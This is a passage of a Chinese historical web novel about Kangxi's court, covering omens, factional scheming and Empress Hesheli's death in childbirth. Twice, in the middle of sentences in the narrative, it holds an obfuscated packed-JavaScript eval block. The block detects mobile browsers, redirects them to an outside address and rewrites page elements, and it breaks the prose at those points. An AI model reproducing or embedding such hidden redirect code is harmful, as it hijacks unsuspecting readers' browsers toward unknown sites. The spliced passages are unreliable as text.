随后,惠妃和其她嫔妃也陆续到来,一并向皇后问安。 赫舍里皇后靠坐在床上,挺着一个大肚子,身边是两位一直伺候着她的嬷嬷和几位随时等候吩咐的宫女。 见老祖宗和苏麻喇姑来了,赫舍里行着礼数道:“臣妾给太皇太后请安,太皇太后吉祥。” “吉祥吉祥,都吉祥。”孝庄笑道,然后坐在皇后身边,“咱们女人呐,先要学会照顾自己,才能当个好额娘。吴三桂那边没有大动作,噶尔丹汗也回去了,现在国势平和,大家都等着皇后顺利诞下嫡子呢。” “谢太皇太后吉言。”赫舍里微笑道,“臣妾近来休息的,饮食也好,心情亦是明快,一定不负太皇太后和皇上所望,保住皇嗣。” “皇后这话说的——”孝庄并没往心里去,而是郑重道,“要母子平安,母子平安才好。” “是。”赫舍里点头,“有太皇太后鸿福照拂,有皇上挂念,接生嬷嬷和顾产太医都在,定是万无一失。” 孝庄回头,对众嫔妃道: “皇后生产当天,老祖宗我会亲自坐镇坤宁宫。” “惠妃、荣妃、宜妃、德嫔,你们四人必定要来此见礼守候,其余各宫嫔妃,理应留在宫中静候佳音,不可滋生是非,可都记下了?” 惠妃等人齐声道:“臣妾等听从太皇太后圣懿。” * 事后,惠妃才往回走到半路,就有坤宁宫的小太监冒死来找。 “怎么了?”惠妃问,“有什么事是当着太皇太后的面不能说,非要私下来跟本宫说的?” “回惠妃娘娘,”那小太监跪在地上,“奴才瞧着皇后娘娘身子不大好,太皇太后和您瞧着好,都是皇后娘娘在装出来的罢了,皇后娘娘她是在硬撑啊!” 惠妃心里有数,赫舍里皇后生下第一胎承祜之时,产后受了风寒,身子一直未调理好,这点皇后虽然瞒着太皇太后和皇上,但是自己跟远黛却是从信得过的、依附明党的太医口中有所听闻,远黛也将事实告知过容若。 只是事到如今,惠妃寻思赫舍里皇后应当一切顺当才对,毕竟从上到下,孝庄和康熙对皇后的第二胎都极其重视,想必没有一个太医、嬷嬷、宫人敢犯一丁点差错。后宫诸事,在自己的协理之下,也是平和解决,未惊动过中宫之主一分一毫,中宫之主应是万无一失才对。 “皇后娘娘实际情况如何?”惠妃细问,“你实话实说。” 那小太监打开了话匣子: “奴才都是在近身听从差遣的,所以对坤宁宫主位的情况了解的清楚。” “不瞒惠妃娘娘,皇后娘娘近来总觉得头重腹痛,还伴随有怕冷的症状,就跟是又让风寒侵体了一般,身子是不适的。但是她又不敢服用治风寒的要,怕是药性对腹中皇嗣有所影响,就这么哭着自己往下熬着。” “皇上时时过来探望,许多关切之言虽是出自肺腑,但在无形之中却是给了皇后娘娘压力,皇后娘娘有过失去承祜的痛楚,所以对第二胎是格外谨慎与留神,就怕自己没能让皇嗣平安降生。这些皇上都不晓得,皇上还当皇后娘娘的仔细是身为额娘的本能反应呢。” “你的意思是,”惠妃蛾眉微皱,“赫舍里皇后现在是身体和心理,都在双受煎熬?” 见那小太监点头,远黛在惠妃耳边小声道:“娘娘,奴才觉得这么下去……皇后娘娘本人怕是真的有危啊!” 惠妃道:“这位公公,皇后身为国母,自然是一切以后宫、以皇上和太皇太后为重,而不敢对外强调自己的难处。你把方才对本宫说过的话,都如实到慈宁宫去回了苏嬷嬷,这事得让苏嬷嬷好好对太皇太后说。太皇太后才是能够拿主意的人。” “奴才明白,这就照着惠妃娘娘的意思去办。” 那小太监走后,惠妃反而是觉得自己步履沉重,有些走不动的感觉。 她便让远黛扶着,到了就近的地方小坐。 “为人母,本宫能够体会赫舍里皇后的心情。” “奴才有句话,不知道能否对娘娘讲。” “远黛,你跟了本宫那么久,有什么话是不能讲的?” “奴才在想:皇后娘娘的状态积郁已久,所谓女人怀胎十月而生,皇后娘娘也已经快怀胎半年了,只怕是不管谁去劝、谁去陪着她说话,她都难以走出来啊!” “压力和恐惧,是压垮后宫女人的两根稻草。”惠妃半低头,“哪怕是皇后,也逃离不了这样的宿命啊!” * 索府。 索额图听闻“赫舍里皇后的产期,就在十日之后”的瞬间,面露喜色,就如同自己已经当上了“皇太子”的叔姥爷一般。 格尔芬看着的阿玛的嘴脸,不禁心生厌恶,却不道破。 索额图高高兴兴地赏了那位来汇报消息的传使,便春风得意地走往内厅,坐下来准备吃饭。 格尔芬望着索额图的背影,对佟佳氏道:“额娘您看看阿玛那副胃口大开的模样,是对即将上桌的饭菜呢?还是对政敌明珠?” 佟佳氏带着儿子往里走,“不管别的,咱们身为皇亲国戚的荣耀,都是纳兰父子蹭不上也比不了的。” 饭桌上。 索额图对着家人提前饮酒开贺。 “本官现在多了一重筹码,只等皇后嫡子长大,认我亲我这个叔姥爷。这样一来,赫舍里一族的兴旺指日可待。” “阿玛,皇后娘娘身子重期间,您有叫额娘进宫去探望过一次吗?有叫人带去过一个问候的口信吗?有在家人们面前提到过事关皇后娘娘本人的话吗?您彻头彻尾都是自私自利。” “女人的作用不就是为家族牺牲自己吗?”索额图反问,“赫舍里已经坐上了天下的女人都羡慕的位置,她没有什么不满足的。子凭母贵,她更应该感到欣慰。本官只是顺势而为,没有不在乎赫舍里的死活。” “恕儿子直言,”格尔芬搁下筷子,“在儿子看来,阿玛您就是不在乎皇后娘娘。等到皇嗣降生,您是恨不得把皇嗣接到家中来亲自抚养,大小就教皇嗣玩弄权术和谋事谋势之道吧?” “要是皇上肯给本官这个‘亲力亲为’的机会,本官自然是求之不得。” “阿玛您自己认了就好,免得日后真的出了什么事,叫人不耻。” “能出什么事?”佟佳氏用眼神暗示儿子不要乱说话,“儿啊,你可千万别多说,别多想。” “阿玛的意思呢?”格尔芬问,“阿玛不是个喜欢风平浪静之人吧?” “本官别无它想。”索额图笃定,“只求皇嗣顺利降生,殊荣与生俱来。” * 下午。 “花鸟风月楼”中,平日里这个时候应当是排演孔尚任的戏剧的满客光景,如今却是一片安静,舞台之上无人登场。 徐乾学端着一副官姿踏入场子。 挑了个好位置坐下,叫了一份标价为市价十倍的“看戏套餐”,乃是:香炒瓜子一碟、咸水角三个、椒盐酥两枚、红汤面一碗。 四拼食材,爱徒容若取谐音字,命名以诗: 暗香浮动逐台影,源头活水一楼中。 千岩万壑两袖风,红炉点雪辨虚空。 银子花出去了,徐乾学在心里气骂: 嗑瓜子,那是“磕头碰脑、甘拜下风”之意,你在变相彰显场子的地位; 吃水角,代表“勾心斗角、拐弯抹角”之意,你在强调场子的人多心杂; 食咸点,岂非“前嫌不释、地嫌势逼”之意,你在暗示场子不可乱说话; 吸有面,分明“两面三刀、八面玲珑”之意,你在有心机地物色可用者。 见孔尚任上前,徐乾学故意道:“孔生,你说你写大戏,这都过去三五年了吧?取得了什么成就啊?赚了多少银子啊?这会儿你还不敢做监督来排演,又是为何呀?” 孔尚任坐到徐乾学对面,不客气道:“徐大人,你这么问,我可不想答。反之我也可以对你连着三问:你担任翰林院的官职几度春秋了?都干成了什么青史留名的大事啊?除了俸禄之外,日常大开销的银子都是哪儿来的啊?” “本官今日只是恰好得闲前来,本官在明知无戏上演的情况下,还把茶位费和茶点费花出去了,给的可是孔生你的面子。” “徐大人的‘捧场’学生心领。”孔尚任未经允许,拿了一块椒盐酥来吃,“学生就直说了,皇嗣诞生之前,这戏剧都不会演。学生要是一意孤行,万一被谁抓住什么把柄栽赃,上升到影响皇后娘娘的胎象的地步,可是会掉脑袋的。” 徐乾学摆了摆手,“你别说的就跟本官想跟皇上打小报告一样,你好歹也是面过圣的人,本官不想跟你过不去。” 接下来,徐乾学又绕了好几套事先准备好的话术,却是一句想听的真话都没有从孔尚任口中套出,令他不由得心生佩服: 孔生好是严实的口风,不愧是爱徒容若引荐给康熙皇帝的另类人才。 反之,孔尚任自己亦是洞若观火。 纳兰公子的温言自是一个字也不会对徐乾学说,自己是个言而有信之人,承蒙公子恩惠,必定不能背叛公子。 想来徐乾学此行,不就是想把这些东西问出来吗? ——文人们的日常活动减少了许多,可是怕不可预测的雷霆风暴? ——文人们已经不再议论皇嗣之事和天下战事了,可是为了保命? ——如此行慈悲和未雨绸缪的人,是不是本官的“好学生”纳兰性德啊? 自己是不会上钩的。 * 数日后。 康熙皇帝和纳兰容若一并从养心殿出来,二人一抬头,都觉得天象似乎不对劲。 漫天深色红云铺满,不同于橙色晚霞、也不同于桃色天光,只仿佛是一块红布被抛上了天空、遮盖了云层一般,令人惊恐而窒息。 纳兰微微皱眉,脑海里浮现大唐诗人李贺一句诗来:黑云压城城欲摧,甲光向日金鳞开。 只是此刻,头顶的天象却是: 不见丝缕纺锦绣,深红一片遮天幕。 惆怅步徐路渐斜,暗影落壁何所聚。 焉知造物其用意,此事多难深究苦。 幸无悲雁衔声鸣,云开碧空终有付。 “万岁爷,奴才怎么觉得这天象鲜红如血啊?” ——就跟产后血崩了一般。 这后半句梁公公自然是不敢往下接。 这话无疑挑起了玄烨的怒火。 “梁九功,上次朕的嫡长子承祜之名被你念成承枯,那十五大板怕是没有打醒你,你还敢在朕面前胡说八道?!” 梁九功“扑通”一声跪下,连声请罪道:“奴才不敢,奴才不敢……” 顾总管道:“糊涂东西,还不赶紧谢了万岁爷的饶命之恩退下?” 梁九功惶恐知错,连叩头带谢恩地退到了随行太监宫女的最后面。 纳兰宽释玄烨的心情,道: “皇上,臣写《渌水亭杂识》之前,得了一部奇书,名叫《放翁辞镜录》【注1】,所讲的乃是:南宋第一爱过诗人、第一爱猫家、第一辩手陆游,与他那深明大义、聪慧伶俐的侍女辞镜的互辩之论,陆游主张南唐宰相冯延巳是佞臣和小人,辞镜意见相左,决心重新为冯延巳立传和正名。” “此书的有趣之处在于十大跟‘气候’和‘天文’相关的案子,皆取自冯词、解自冯词。读罢,便可知晓冯延巳的人生为何赞否两论,南唐为何会灭亡。” “冯延巳,朕拿来比喻你阿玛明珠的那个人。”【注2】 “臣现在不与皇上论冯词和人品,只跟皇上论天象。” 玄烨大笑。 “你在朕面前炫耀自己比钦天监的长官更有能耐吗?” “天文地理和奇门遁甲之术,臣确实是懂。” “你还真敢卖弄啊——!!” “皇上要不要听?” “你不是应该问:朕准不准你讲吗?” “有别吗?” “好。朕迁就你一次,无别!” * 纳兰跟玄烨边走边讨论,忽然之间,毫无征兆地—— 天际红云散退,黑云袭来,大雨倾盆而降! 幸好是顾总管在宫中当差多年,经验丰富,无论天气阴晴,都叫随行的在前列的两个小太监带了伞。 “朕体质好得很,冒雨亲征也不在话下。纳兰娇贵,日晒不得雨淋不得,只管叫梁九功把伞给他撑好就是。” 梁公公这才从最后边跑到了最前边来“将功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475064|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补过”,跟干爹顾问行一同伺候着万岁爷和纳兰公子重回养心殿。 纳兰知玄烨那句话是玩笑,就继续讲方才的话题: “皇上可知道?冯延巳是这么写‘云’的:云散更深阶下月,风寒衣薄万般心。臣觉得冯词的洞察力真是好,云开之后,万物着色见深;气候变了,最先感触到的是心。” 玄烨指着前路道: “冯延巳是因为闲情才有感而发,你我君臣现在,是真真正正地栉风沐雨啊!天上的云如何,朕之心,不为其左右。因为,能够权驭天下,翻云覆雨之人,唯有朕——” 玄烨话音刚落,一声惊雷霹雳而下,就在约三米远的地方,击碎了地砖。 顾总管吓得急忙喊了声:“护驾!” 纳兰定睛往前一看:还真是砖裂地穿,黑乎乎的留下了一个坑洞出来,就跟是老天爷降下天谴一般。 他不由得在内心反醒:难道我错了?不该跟皇上论冯词?这可怕的一幕不会是天公对我所言的制止之举吧? “朕——”玄烨瞠目结舌,“未失政于民,未不公于臣,上天何以这般怒朕?” “万岁爷,奴才愿意走在前方去开路。”梁九功请求道,“奴才虽然无能,但给万岁爷挡灾的本事还是有的!” 玄烨的大怒一触即发,“你这是在咒朕还会迎来第二次天罚吗?你真要是不要脑袋了,朕现在就砍了你!” “奴才冤枉啊,奴才是一心向着万岁爷的。” “你们都退下!”玄烨自己从顾总管手中夺过雨伞,“前方的路,朕自己会走——” * 见皇上一人大步而行,顾总管担心道:“纳兰公子,您可要跟着万岁爷呐。” “顾总管你看,皇上是往皇后的坤宁宫去了。”容若敏锐道,“接下来的事情,不是你我可以干涉的了。” “还请公子相告,奴才实在不懂万岁爷在想什么。” “皇上应是想陪在皇后身边,尽自己的夫君责任,同时也证明自己的天威不减。皇上跟在这半年里,多是对皇后说些虚浮于表面的客套话吧?如今天气给了一个契机,夫妻间应是能够聊些不受拘束、不拘礼节的寻常话。所以,你我等人应该顺了皇上的心思才对。” “听公子这么说,奴才明白了。”顾总管道,“是该让皇上和皇后多些私人时光才是。敬事房的差事奴才也是有在管的,皇上顾德嫔顾的多,然后才是皇后和其她各宫的主儿们。” “大抵是德嫔有德嫔的优点,皇上才愿意宠她。” “也多亏了皇后娘娘宽泽,皇上才能家事无忧。” 容若走了几步,忽然意识到了什么。 就道:“不对,顾总管你话里有话,不是表面的意思这么简单。你方才说的‘宽泽’是指什么?难不成是皇后娘娘有心无力?” “实不相瞒,”顾总管坦诚道,“明白人都在为皇后娘娘能否顺利生下皇嗣而捏把汗呢,只有皇上还蒙在鼓里。奴才这么跟公子说吧:皇后娘娘身子虚弱呐!剩下的关键,奴才也不好再多说。” 容若琢磨了小会儿,“你们的用心和皇后本人的苦心我都懂,只能说,皇上不知道就不知道吧,皇上即便是知道了,也不见得就好。凡事,还是得仰靠慈宁宫的老祖宗;凡运,还是寄托在天意之上呀!” “亏得公子你是个明白人。”顾问行绷紧的弦微松,“日后皇上真有所发作与怪罪,还是需要公子你在君侧多劝着点。” 离宫之际,容若对顾问行叮嘱道: “顾总管你记着,今日在皇上面前发生‘惊雷击地’的事,吩咐随行人等一个字都不许说出去。这关系的可不仅仅是皇上的安危和气运,更是牵涉皇宫内外对皇上的评价和对皇后娘娘诞皇嗣的揣测啊!” “奴才记下了。” 顾问行应道。 * 坤宁宫内。 玄烨先是更换过被风雨打湿的衣服,才叫人去通知皇后。 赫舍里见皇上来,心里一半是喜、一半是忧。 玄烨上前,坐在床侧守着嫡妻道:“朕今日与皇后夫妻相称,不管一切表面上的规矩。” 说罢,他就叫四周的太监和宫女都退下,只专心与嫡妻相伴相处。 赫舍里见皇上真挚,打开心扉道:“臣妾嫁给皇上已久,自问从未做过有失母仪天下之事。皇上待臣妾,时而相敬如宾,时而迁怒恼火,时而掏心宠爱,的确是个真性情的夫君。不知臣妾的端庄与守矩,在皇上眼中可得几分真情?” 玄烨笑道:“娶你之初,朕厌恶带着政治关系的婚姻;娶你之后,不久你的玛法索尼就去世了,随着你的叔父索额图的粉墨登场,翻云覆雨,朕便常常发泄于你,现在想来,你并无错,一切的出气和置气之举,都是朕的不成熟和少年轻狂罢了。这会儿面对你,朕心中是十分喜欢,不带任何虚假。” 赫舍里问:“这次临产,如果臣妾说自己害怕,皇上信吗?” 玄烨握住皇后的手,鼓励道:“你说出口的话,朕当然相信。但是你不必担心、不必惊慌,不管你是在哪一日哪一个时辰临盆,朕都会在房外陪伴。” “臣妾想问皇上,可有想过咱们即将降生的孩子的名字?” “叫做:胤礽。” “好名字,臣妾替小阿哥谢过皇上。” “朕还事先想好了一个乳名,叫做:保成。取了乳名的孩子好养,福寿高。” “保成,保泰持盈、百炼成钢,好乳名啊!小阿哥定能健康成长。”赫舍里喃喃道,“只是皇上想过吗?纳兰公子的名字‘成德’需要避——” “皇后放心,朕不会为难纳兰。之所以打算用这个乳名少许时日,只是想要搓搓明珠一党的锐气罢了。” “皇上能够为双方考虑,臣妾感激不尽。” “你我夫妻之间,不必言谢。” 玄烨正要跟赫舍里聊些将来的畅快之事,像是:等皇后产后调养好了身子,朕就带着皇后一并去宫外避暑。 却忽然看见赫舍里昏阙了过去。 唤了几声皇后的名字也不见其有反应之后,玄烨朝外大喊一声:“来人,传太医——” 【注1】《放翁辞镜录·寻访冯延巳(探案)》,书号9242315,欢迎预收哦~ 【注2】见第125章。 134.第134章 太医以最快的速度赶到坤宁宫的时候,玄烨已是等的急不可耐。 外头风雨大作,里面手忙脚乱,玄烨看着在诊病的太医和进进出出替皇后备药、备热水的宫女太监们,心中强作隐忍。 “去叫惠妃过来。” 玄烨才下过命令,两位太医就一并上前来回了话。 “启禀皇上,臣等细细诊断过了,皇后娘娘会昏阙,乃是上回产后感染风寒并未根治,机缘巧合之下,偏偏于今日复发的缘故。此病并非来势突然,也并非是皇上顾虑不周,而是一直以来就有困扰皇后娘娘啊!” 玄烨忽然想起,惠妃生产大阿哥当日,皇后也是犯了风寒才未去延禧宫坐镇的,当时自己以为皇后只是碰巧生病,现在却知晓了这是皇后生产第一胎之后落下的惯病,心中猛然悔意暗生。 “皇上,臣等以为,当下皇后娘娘的身体应当以调理为主,不可任由风寒发展,否则势必影响到腹中胎儿的顺诞。只是这治疗风寒的药,药性与坐胎药是相冲的,开与不开,服与不服,还得皇上您说了算呐!” 玄烨皱眉看着两位太医,心中唯有一个想法:务必要保全皇后,这一胎若是天意不顾,只要皇后人还在,日后还有的是机会再为爱新觉罗家延绵子嗣。 “皇上。”太医颤声道,“臣等冒死回话,皇后娘娘的风寒未必能够根治,但是从胎象看,皇嗣无恙,是个男胎,可以在预计产期将孩子生下。请皇上旨意,皇后娘娘诞前,是用药还是不用?皇后娘娘诞中,一旦……是保大还是保小?” 一阵猛风卷来,吹开了房间中紧闭的窗页。 阵阵冷意倒让玄烨清醒了,两位太医只听见皇上道: “药要用,保皇后!” * 惠妃带着宫女赶到。 “臣妾给皇上请安,皇上万福金安。” “朕累乏。”玄烨来到房间外的侧暖阁暂歇,“今日是诸事不顺,先有天象作祟,红云铺张;后有一言引雷,险伤性命。朕原本是想着来看望皇后,跟结发妻好好说话,却不想从太医口中听的真相和被迫做出选择。” 玄烨看着惠妃,冷问她:“皇后瞒着朕,你也瞒着吗?” “臣妾不敢逆皇后娘娘的意思,只晓得皇后娘娘这么做,是为了皇上好,皇后是一向以皇上和皇嗣为重的。”惠妃道,“臣妾已经叫知道真相的小太监去慈宁宫给老祖宗回过话了,请皇上以大清江山为重。” 玄烨静默良久,后问:“惠妃,保小不保大,是你本人的意思?还是明珠父子的意思?” 惠妃谨慎道:“是臣妾自身的意思,也是臣妾猜想的老祖宗的意思。” 玄烨神色凄厉,气问:“是不是到了万不得已二选一之时,朕当着皇阿奶和你的面说要保皇后,就成了‘爱美人不爱江山’的昏君?” 惠妃冷静回应:“江山是皇上的江山,后宫也是皇上的后宫,江山之大、国事之要、百姓之重,非后宫任何一个女子可以比拟。臣妾亦是早有为大清江山而牺牲的觉悟。” 玄烨冷笑数声,“你是想效仿貂蝉离间董卓和吕布?还是想效仿皇阿奶劝降洪承畴?胆敢把自己放在为国献身的位置!” 惠妃:“臣妾嫁给皇上,从未后悔过,愿意在国之所需之时尽己所用;臣妾诞下的皇长子是爱新觉罗家血脉,将来为大清恪尽所能,也义不容辞。皇上,后宫别的女子如何臣妾无需多言,但臣妾永远在皇上身后,愿当效国之盾。” 玄烨在阁内徘徊。 “朕不喜欢这种预先被推到做选择的境地,惠妃,你回宫去给皇后和大清祈福吧!” “臣妾不放心皇上,自请留下来陪伴皇上和为皇后娘娘尽力。” “你敢抗旨?” “臣妾不是抗旨,而是不推卸自己为妃的责任。” “纳兰家的女子,个个都如你一般吗?” “臣妾嫁入皇家,就已经决定伴随明君过一辈子了,臣妾的好坏优劣,皆主君恩,全凭皇上审夺判鉴。” “这个‘惠’字,你担当的起。” 惠妃来到玄烨身边,安置玄烨躺下,轻揉他的太阳穴让他放松。 前路再如何难料,要紧的是皇上不能糊涂;赫舍里皇后的情况再如何危急,要紧的是君心不能乱,事情方可往好的方向出现转机。 * 慈宁宫内,孝庄正跟苏麻喇姑说着话。 有钦天监的长官冒雨前来求见。 李福连李公公把钦天监长官往里引,边走边道: “奴才可是刚刚从不祥事当中开脱,绕了一大圈,融贵人原来是:自用巫术反被巫术误。长官大人,您在太皇太后面前可要好好说话,别把异端的天象说成了正事,这会儿坤宁宫要不是有惠妃娘娘陪着皇上,指不成会乱成什么样呢。” 长官道:“李公公,本官断是不敢对太皇太后有所隐瞒呐,这天象显示——” “哟!”李公公比出了先别说出口的手势,“长官大人,您可千万把话打住了。比起心疼中宫的主子,太皇太后定是以皇上和大清江山为重的。” “臣参见太皇太后,太皇太后吉祥。” “长官大人请起。老祖宗我没有什么话是听不得的,直说就是。” “回太皇太后,臣钦天监全体同僚经测天象,皆是指向危兆。红云弥漫,为中宫见血,皇后娘娘堪危;黑云袭来,为命脉之渐退,如入暗河,漩涡深卷而不得出,非人力所能拯能解;天有惊雷,为大事将至之先锤,个中的轻重与影响,只怕是要太皇太后亲自做主才行呀!” 孝庄默思半晌,终于道:“钦天监之责,本不应多预测后宫祸福,但我见你言之有理,不得不有所信服。照着你等的估测,皇后能否熬过难关?皇上本人和我大清将来的国运如何?” 钦天监长官未直面陈述,转而道: “臣等听闻,天降异象之际,恰是纳兰公子与皇上一同。公子有解读天象之能,散见于《渌水亭杂识》之中,臣等便请教了公子的看法,得到的回应是——” “一切顺其自然。” “纳兰说的亦是无错。”孝庄盘着手中的念珠,“顺其自然比静观其变的好。” “臣等请太皇太后的意思,皇后娘娘生产当天,钦天监、宝华殿和观德殿的管事之人,是留在各处祈福待命,还是前往坤宁宫驻守随时听从吩咐?” “古人常说:人定胜天。”孝庄摇了摇头,“殊不知天亦作威啊!有些事、有些命数,咱们这些凡人是没法通过祈福或是待命来扭转的。当日,你等都按照平日里的节奏来各司其职就是。” 李公公小心翼翼地问:“太皇太后,您信天象和预兆之说吗?” 孝庄放下念珠,定了定神,道:“我活的久了,没有什么风浪是没见过的,也没有什么后果是扛不起的。倒是皇上还年轻,需要多磨练性子和多看清局势啊!” “老祖宗说的是。”苏麻喇姑道,“咱们呐,一步一步来,车到山前必有路,哪怕是残垣断壁之天堑,也要想方设法地探出一道路来。” “如今是我为皇上铺路和探路,总有一天,皇上会明白我的苦心。”孝庄心态长远,“我亦相信,赫舍里皇后和老臣索尼不会怪我。” 就在孝庄的话落音的那一瞬间,天公忽然开眼,收雨转晴,金乌放出光芒万丈。 李公公赶紧问:“长官大人,这是何故啊?” 钦天监长官跑到外头一看,又掐指一算,迅速跑回,大喜而激动道:“太皇太后鸿福庇佑,老天爷有知,一切必将顺遂时局,安泰江山。” 孝庄点头三次,起身道:“如此就好。形势面前,天人感应;祸福要来,君臣共担,君民共分,内外宫阙共感心共会意。” 钦天监长官、苏麻喇姑、李公公皆是行礼齐声道:“太皇太后圣明。” * 赫舍里皇后生产当日。 太皇太后、康熙皇帝、惠荣德宜四妃皆在坤宁宫。 明索两党之人,齐聚养心殿侧阁,无不是打起了十二分精神,就等着事情见分晓:皇后母子的“运”与“命”,到底如何。 明府之中。 容若与额娘一同在渌水亭边看荷花与池鱼。 觉罗氏道:“儿啊,你阿玛现在正跟索额图面对面呢。其实说白了,这会儿谁都没有在乎皇后本人,多少双眼睛、多少对耳朵,都是朝着她腹中的皇嗣看的?所以这后宫的女人,贤德和善总输精明能干,性子太好爱皇上过甚,总是会吃亏的,连皇后也是这般命运。” “所以孝庄太皇太后才能被称为老祖宗。”容若笑了笑,“她便是个有手腕有大局的女人,这会儿我倒是不后悔按照皇上的意思,把《五色蝴蝶赋》做改动献给老祖宗了。” “额娘问你,你对坤宁宫的紧张局面有感吗?” “儿想象不出来,日后额娘寻得机会去探望惠儿,倒是可以仔细问问。” “那你就是在乎你阿玛?” “说实话,当下的确是。”容若把几粒饲料投入池中,“儿晓得阿玛的心思,他不想让索党得逞,又没法向皇上直言,所以懊恼。” 觉罗氏问:“这不还没有见分晓吗?” “等到见分晓的那一刻,就什么都晚了。”容若看着池中生物,“从养心殿到坤宁宫需要时间,这期间皇上最容易做出众人难料的决策来。” 过了会,容若道:“暂时等着吧额娘,消息很快就会传回府上的。” 觉罗氏点头:“也只好如此了。” * 坤宁宫侧阁。 接生嬷嬷慌慌张张地跑来。 “奴才斗胆!启禀皇上,启禀太皇太后和各宫主子,皇后娘娘不好了,大血见红,胎儿却是一直未能从母体之中脱出……” “传朕的意思,太医要是不能尽责尽心,就提着脑袋来见朕!” 事到如此,玄烨也不好说出“保全母子”这四个字,只能用龙颜震怒来作为威胁。 嬷嬷一脸焦急,却也不得不如实回话:“奴才等和太医已经想尽各种办法了,皇后娘娘就差那么一些力气啊!” 孝庄当机立断:“那就用一剂猛药来把皇后的力气使出来。” 玄烨神色惊讶,不禁问:“皇阿奶的意思是?” “皇上,哪个女人生孩子不是徘徊在生死线上的?”孝庄语重心长,“皇后应该早有为大清献身的觉悟,她是愿意不顾一切把孩子生下来的。” 嬷嬷不敢有所动作,只是双目惶恐地看着孝庄太皇太后和康熙皇帝。 玄烨心中,无数次想说出“皇后和皇嗣都要给朕保住”这句话,然而在江山和香火面前,却失去了底气,迟迟没有开口。 又有皇后身边的掌事宫女过来回话。 “启禀皇上和太皇太后,皇后娘娘出红越发厉害,已经是拼尽全力,再这么下去,太医……太医说母子都有危险……” 孝庄直接拿主意道:“传我懿旨,叫太医给皇后配能摧发全身力气的剂药,万不得已之际,保皇嗣。” “奴才遵旨。”掌事宫女匆匆跑离。 玄烨咬着嘴唇,直视着自己的皇祖母,说不出一句话来。 若是有纳兰的身边,他定会问他: ——朕发现自己对结发妻感情深厚,只憾为时已晚。 ——你说,皇后一直无所出,对比皇后连续诞育两次却为此付出生命,哪个更可悲? 你能不能告诉朕:千般万般都是朕的不是,不曾有和得到后再失去,皆是朕的大悲与不可回首、不可追。 * 玄烨站立许久,心中无不是在向上天和列祖列宗祷告:保佑皇后母子平安。 怎奈天不遂人愿,该来的悲报还是传来。 一位太医跪地道:“回皇上,回太皇太后,皇嗣已经顺利产出,是位健健康康的小阿哥。只是……臣等无能,用上毕生所学的医术,对皇后娘娘……也无力回天了啊!” 玄烨大声问:“皇后到底怎么样?” 那太医双手伏地,不敢直视天威,只颤颤巍巍道:“臣等请皇上速速前去探望,不要漏听了皇后娘娘最后之言。” 玄烨踹了那太医一脚:“无能的东西!大清和太医院养着你们是干什么用的?连朕的皇后都保不住,信不信朕现在就让整个太医院给皇后——” “陪葬”二字尚未说出口,玄烨听见了从背后传来的孝庄的严怒之声: “玄烨,你现在还有点皇上的样子吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483150|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?迁罪到太医院头上,就能挽回天意吗?把你的脾气收一收,跟我一并去看皇后!” “你给朕滚!!”玄烨骂罢和绕过那位太医,也不等候孝庄的步子,就直直地冲向了皇后的寝室。 “老祖宗。”苏麻喇姑担心地叫了一声。 “咱们过去。”孝庄临危不惧,步履坚踏而有力。 “惠妃姐姐。”宜妃上前询问,“咱们现在可怎么好?” 惠妃方寸不乱,道: “咱们哪儿也不能去,什么多余的话也不能说,只能好好在这里等着,等着皇后娘娘之事结束以后,苏嬷嬷会过来向咱们交待和吩咐什么。” “臣妾心里不安呐。”宜妃紧抓着手绢,“这万一——” “真到了那个地步,后宫之事也是太皇太后说了算,妹妹不必担忧中宫无主则后宫难安。” “臣妾晓得有些话不该说,也跟惠妃姐姐你一样把太皇太后当作‘定海神针’,可是皇上的性子咱们姐妹还能不了解吗?臣妾真怕后宫和朝纲再起黑风猛雨啊!” “妹妹,你要是觉得怕,就多来找本宫或是荣妃德嫔说说话,千万别胡思乱想些不该想的事,可记下了?” “是,臣妾听惠妃姐姐的。” * 坤宁宫的寝室之中,玄烨看着奄奄一息的赫舍里皇后,心如刀割。 赫舍里躺在床上,大汗淋淋,面色苍白,一副经历了千锤百炼的虚弱模样。她吃力地侧过头,用最后的温柔目光看着皇上。 玄烨就在嫡妻床边的地板上坐下,握着嫡妻的手,让嫡妻感触他的脸的温度。 “赫舍里,朕不信你会有事。”玄烨有些哽咽,“朕还有许多话要对你说,还有许多地方要带你同去。朕,更有许多宏图伟业要与你一同见证。” “皇上,臣妾福薄,不能跟皇上一起夫妻白头偕老。”赫舍里流下数行清泪,“唯有最后三愿,请皇上务必答应。” “你说,朕都答应你。” “臣妾去后,请皇上不要因为臣妾而耽误朝政;臣妾的一切身后之事,皆请从简,所省下的库银,用作军费,能为皇上尽平三藩的绵薄之力,臣妾便已满足;太皇太后年事已高,皇上应时时孝顺,多尽儿孙之道。” 玄烨连连点头:“好,朕都会一一做到。” 赫舍里又善念道:“还有纳兰公子,他是满清第一才子,文武双全,皇上应当给予他恰当的施展抱负之机,给予他想要的自由和词风,不可只教他留在身边私用。” “朕,会有所考虑。” 玄烨口上这么答应着,心中对纳兰容若的“较劲感”、“拿捏感”和“掌控感”却始终未动摇过,皆因其是权臣纳兰明珠之子。 “此生能作为康熙皇帝的结发妻,赫舍里心满意足。” 说罢,皇后含笑消香玉损。 “赫舍里,赫舍里……” 玄烨疯了一样喊皇后的名字。 * 坤宁宫外头,已是跪着和哭着一大群人。 